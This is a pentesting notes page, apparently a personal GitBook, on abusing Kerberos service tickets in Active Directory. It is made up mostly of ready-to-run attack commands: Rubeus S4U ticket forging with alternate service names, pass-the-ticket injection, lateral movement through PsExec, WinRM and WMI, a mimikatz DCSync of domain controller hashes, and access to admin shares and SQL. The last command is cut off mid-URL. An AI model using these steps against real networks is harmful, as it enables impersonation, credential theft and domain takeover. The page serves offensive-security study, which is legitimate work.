> For the complete documentation index, see [llms.txt](https://alexdhital.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/service-tickets-and-abuses.md).

# Service Tickets and Abuses

**1. Service Ticket for HOST (Lateral Movement with PsExec, wmi, winrm)**

The `HOST` service ticket can be used for lateral movement by accessing remote services like PsExec. PsExec allows you to run commands on remote systems.

**Steps:**

* **Obtain the HOST service ticket:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe s4u /impersonateuser:alex /msdsspn:cifs/dc.dev.dhitalcorp.local /altservice:host /user:sql-1$ /ticket:&#x3C;base64TGT> /nowrap
  </code></pre>
* **Save the service ticket to a file:**

  ```powershell
  C:\Users\Alex> echo <base64ServiceTicket> > C:\Users\Alex\Desktop\ticket.kirbi
  ```
* **Inject the ticket using Rubeus:**

  ```powershell
  C:\Users\Alex> .\Rubeus.exe ptt /ticket:C:\Users\Alex\Desktop\ticket.kirbi
  ```
* **Use PsExec to run commands on the target system:**

  ```powershell
  C:\Users\Alex> psexec.exe \\dc.dev.dhitalcorp.local cmd
  ```
* **Access WinRM:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> Enter-PSSession -ComputerName dc.dev.dhitalcorp.local -Credential (New-Object System.Management.Automation.PSCredential('dev\alex', (ConvertTo-SecureString "password" -AsPlainText -Force)))
  </code></pre>
* **Access WMI:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> Get-WmiObject -Class Win32_OperatingSystem -ComputerName dc.dev.dhitalcorp.local -Credential (New-Object System.Management.Automation.PSCredential('dev\alex', (ConvertTo-SecureString "password" -AsPlainText -Force)))
  </code></pre>

**2. Service Ticket for LDAP (DC Sync Attack)**

The `LDAP` service ticket can be used for Directory Replication Service (DC Sync) attacks. This allows you to replicate password hashes from a Domain Controller.

**Steps:**

* **Obtain the LDAP service ticket:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe s4u /impersonateuser:alex /msdsspn:cifs/dc.dev.dhitalcorp.local /altservice:ldap /user:sql-1$ /ticket:&#x3C;base64TGT> /nowrap
  </code></pre>
* **Save the service ticket to a file:**

  ```powershell
  C:\Users\Alex> echo <base64ServiceTicket> > C:\Users\Alex\Desktop\ticket.kirbi
  ```
* **Inject the ticket using Rubeus:**

  ```powershell
  C:\Users\Alex> .\Rubeus.exe ptt /ticket:C:\Users\Alex\Desktop\ticket.kirbi
  ```
* **Perform the DC Sync attack using mimikatz:**

  ```powershell
  C:\Users\Alex> mimikatz.exe
  mimikatz # lsadump::dcsync /user:dc$
  ```

**3. Service Ticket for CIFS (File Share Access)**

The `CIFS` service ticket allows you to access file shares on a remote system, enabling you to read, write, or modify files on the target.

**Steps:**

* **Obtain the CIFS service ticket:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe s4u /impersonateuser:alex /msdsspn:cifs/dc.dev.dhitalcorp.local /user:sql-1$ /ticket:&#x3C;base64TGT> /nowrap
  </code></pre>
* **Save the service ticket to a file:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> echo &#x3C;base64ServiceTicket> > C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Inject the ticket using Rubeus:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe ptt /ticket:C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Access the file share:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> net use \\dc.dev.dhitalcorp.local\c$
  </code></pre>

**4. Service Ticket for MSSQLSvc (SQL Server Access)**

The `MSSQLSvc` service ticket can be used to access SQL Server instances, allowing you to run queries and potentially extract data.

**Steps:**

* **Obtain the MSSQLSvc service ticket:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe s4u /impersonateuser:alex /msdsspn:cifs/dc.dev.dhitalcorp.local /altservice:mssqlsvc /user:sql-1$ /ticket:&#x3C;base64TGT> /nowrap
  </code></pre>
* **Save the service ticket to a file:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> echo &#x3C;base64ServiceTicket> > C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Inject the ticket using Rubeus:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe ptt /ticket:C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Access the SQL Server:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> sqlcmd -S dc.dev.dhitalcorp.local -d master -U alex -P &#x3C;password>
  </code></pre>

**5. Service Ticket for HTTP (Web Service Access)**

The `HTTP` service ticket can be used to access web applications running on the target system, allowing for interactions with the web services as the impersonated user.

**Steps:**

* **Obtain the HTTP service ticket:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe s4u /impersonateuser:alex /msdsspn:cifs/dc.dev.dhitalcorp.local /altservice:http /user:sql-1$ /ticket:&#x3C;base64TGT> /nowrap
  </code></pre>
* **Save the service ticket to a file:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> echo &#x3C;base64ServiceTicket> > C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Inject the ticket using Rubeus:**

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> .\Rubeus.exe ptt /ticket:C:\Users\Alex\Desktop\ticket.kirbi
  </code></pre>
* **Access the web application:**

  You can use tools like `curl` or a browser to access the web service:

  <pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">C:\Users\Alex> curl -H "Authorization: Negotiate &#x3C;base64ServiceTicket>" http://dc.dev.dhi
  </code></pre>